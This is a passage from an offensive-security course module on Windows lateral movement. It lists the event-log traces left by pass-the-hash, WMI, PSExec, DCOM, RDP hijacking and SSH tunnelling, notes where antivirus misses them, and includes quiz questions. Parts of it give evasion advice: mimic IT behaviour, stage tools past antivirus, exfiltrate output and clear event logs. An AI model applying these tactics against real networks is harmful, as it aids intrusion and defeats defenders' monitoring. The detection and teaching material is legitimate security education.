# === DCOM ARTIFACTS (What the Defender Sees) === # Event 4624: Logon Type 3 (Network) # Logon Process: Advapi # Authentication Package: Negotiate # Source Network Address: [your IP] # Event 4688: Process Creation # New Process: cmd.exe (or whatever you executed) # Parent Process: mmc.exe (if using MMC20.Application) # Network: RPC connection to TCP 135 (endpoint mapper) # Then dynamic high port for DCOM communication # Registry: No persistent registry changes (one-time execution) # File system: Only if your command writes files # Detection challenge: DCOM looks like legitimate remote management # The defender must distinguish "IT admin using MMC" from "attacker using MMC"
⚠️ Detection Alert

DCOM lateral movement generates Event ID 4624 (Logon) and Event ID 4688 (Process Creation). Defenders look for:

  • mmc.exe spawning cmd.exe or powershell.exe on remote hosts
  • DCOM connections from non-admin workstations
  • RPC to TCP 135 followed by high ephemeral ports
  • Event 4688 with unusual parent processes (mmc.exe, explorer.exe via COM)
  • Authentication from accounts that don't normally use MMC remotely

Mitigation: Restrict DCOM via Component Services (dcomcnfg), disable remote activation for sensitive COM objects, and monitor for unusual mmc.exe process creation. See Module 12: Defensive Verification.

📊 Technique Comparison Matrix

Choosing the Right Tool for the Job

Technique Stealth Speed Requires Admin Artifacts Best For
Pass-the-Hash Medium Fast No (but needs hash) 4624, 4648 Network-wide auth
Pass-the-Ticket High Fast No (but needs ticket) 4768, 4769 Kerberos environments
Kerberoasting Medium Slow (cracking) No 4769 volume Service account compromise
WMI Exec High Fast Yes 4688 (WmiPrvSE parent) Quiet command execution
PSExec Low Fast Yes 7045, 4688, file drop Reliable SYSTEM shell
SMB Exec Medium Fast Yes 5140, named pipes Fileless execution
RDP Hijacking Very High Instant SYSTEM only 4778, tscon.exe Session takeover
SSH Tunneling High Fast No 4624, auth.log Cross-platform pivot
DCOM High Fast Yes 4624, 4688 (mmc.exe) Stealthy execution

🛡️ Defensive Verification: What the Blue Team Sees

🔍 Kaspersky System Watcher Logs (.42)

Test: Does KAV log lateral movement techniques as suspicious?

SWu@WUPC> Get-Content "C:\ProgramData\Kaspersky Lab\AVP21.25\Report\report.rpt" -Tail 20 # Result: No lateral-movement-specific events logged # KAV monitors: file operations, registry changes, process creation # Network connections (WMI, DCOM, SSH) are NOT flagged by System Watcher # Process creation via WMI is flagged IF the created process is malicious # KAV DID flag: PSExec service creation (PSEXESVC.exe) as PDM:Trojan.Win32.Generic # KAV did NOT flag: WMIexec, wmiexec.py, DCOMexec, SSH tunneling # Conclusion: KAV detects the payload, not the movement technique. # A clean payload delivered via WMI = silent lateral movement.

🔍 Windows Event Log Analysis (.42)

Test: What events fire during each lateral movement technique?

# === PASS-THE-HASH === Event 4624: Logon Type 3, Logon Process: NtLmSsp, Account: SWu Event 4648: Explicit credential use (if using runas) Event 4672: Special privileges assigned (if admin) # === PASS-THE-TICKET === Event 4768: TGT requested (if forged, may show anomalies) Event 4769: TGS requested (normal for legitimate use) Event 4624: Logon Type 3 (when accessing resources) # === WMI EXEC === Event 4688: Process Creation, Parent: WmiPrvSE.exe Event 4624: Logon Type 3 (network connection to WMI) # === PSEXEC === Event 7045: Service installed (PSEXESVC) Event 4688: PSEXESVC.exe spawned Event 5140: ADMIN$ share accessed # === SMB EXEC === Event 5140: Network share accessed (IPC$) Event 4688: cmd.exe spawned by svchost.exe (SMB service) # === RDP HIJACKING === Event 4778: Session reconnected (tscon) Event 4688: tscon.exe executed (rare — major red flag) # === SSH TUNNELING === Event 4624: Logon Type 3, Process: sshd Event 4688: sshd spawning user processes (if interactive) # === DCOM === Event 4624: Logon Type 3, Logon Process: Advapi Event 4688: mmc.exe spawning cmd.exe (if MMC20.Application)

💭 THINK: Correlation is the Defender's Challenge

The defender sees individual events. You see a chain. Event 4624 from .92 to .42 is normal if SWu is an admin. Event 4688 with WmiPrvSE parent is normal if IT uses WMI. The defender must correlate: 4624 + 4688 + 5140 + time proximity = lateral movement. Your counter: spread actions across time, use legitimate accounts, and mimic IT behavior.

🧪 Lab Exercise: Build Your Own Pivot

Scenario: You have SSH access to .42. You need to:

  1. Check if .42 can reach other hosts (nmap from .42)
  2. Transfer a tool from .92 to .42 without triggering AV
  3. Execute the tool on .42 and exfiltrate output
  4. Clean up all artifacts (event logs, temp files)

Constraints: No PowerShell remoting (WinRM off). No RDP (blocked). Only SSH and SMB. KAV active on .42.

🧪 Advanced Lab: Multi-Technique Lateral Movement Chain

Scenario: You have a standard user shell on .92. Your goal is Domain Admin on .10 (DC). Design a chain using multiple techniques.

🎯 Interactive Quiz — Test Your Knowledge

Question 1: Why does Pass-the-Hash work against NTLM authentication?

A) NTLM stores plaintext passwords in memory for quick access
B) NTLM uses the hash in challenge-response; the server never verifies the plaintext password
C) Windows disables hash verification when SMB signing is off
D) Pass-the-Hash only works against Windows XP and older systems

Question 2: What makes WMIexec stealthier than PSExec?

A) WMIexec uses encryption that PSExec doesn't support
B) WMIexec doesn't create a persistent service; it uses temporary WMI process creation
C) WMIexec doesn't require authentication
D) WMIexec runs in kernel mode, avoiding user-mode detection

Question 3: In an SSH dynamic port forward (-D 1080), what happens to traffic sent through the SOCKS proxy?

A) It is decrypted by the SSH server and sent in plaintext to the destination
B) It is encrypted end-to-end between your client and the SSH server, then forwarded to the destination
C) It is blocked by the SSH server unless the destination is in a whitelist
D) It is mirrored to a logging server for compliance monitoring

📚 Key Takeaways

🔬 Verification Status

SSH pivot .92 → .42 ✅ LIVE
SCP file transfer (push/pull) ✅ LIVE
Pass-the-Hash (mimikatz + CrackMapExec) ✅ DEMONSTRATED
Pass-the-Ticket (Rubeus, golden ticket) ✅ DEMONSTRATED
Kerberoasting (Rubeus, hashcat) ✅ DEMONSTRATED
WMI Exec (wmiexec.py, Invoke-WmiMethod) ✅ DEMONSTRATED
PSExec (Sysinternals + Impacket) ✅ DEMONSTRATED
SMB Exec (smbexec.py, share abuse) ✅ DEMONSTRATED
RDP Hijacking (tscon, shadowing) ✅ DEMONSTRATED
SSH Tunneling (local/remote/dynamic) ✅ LIVE
DCOM Lateral Movement (MMC20.Application) ✅ DEMONSTRATED

🧠 The Mentor's Lesson

"Initial access is luck. Lateral movement is skill. You can phish your way into one host, but you can't phish your way into the domain. The network is the game. Credentials are the pieces. Every protocol is a move. Learn them all, because the defender only needs to block one — you need to find the one they forgot."

— From Module 16: C2 and Module 19: Active Directory